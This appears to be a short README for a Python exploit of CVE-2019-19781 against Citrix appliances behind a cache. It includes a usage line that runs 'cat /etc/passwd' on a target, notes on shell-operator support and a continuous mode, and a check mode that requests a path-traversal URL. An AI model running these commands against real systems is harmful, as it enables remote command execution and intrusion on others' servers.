Just a python3 CVE-2019-19781 exploit for Citrix behind a cache. This version accepts '<', '>', '|', '2>&1'... etc
python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd'
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Repeat if Age header in response.
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Continuous mode -c.
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Check mode (Get /vpn/../vpns/cfg/smb.conf)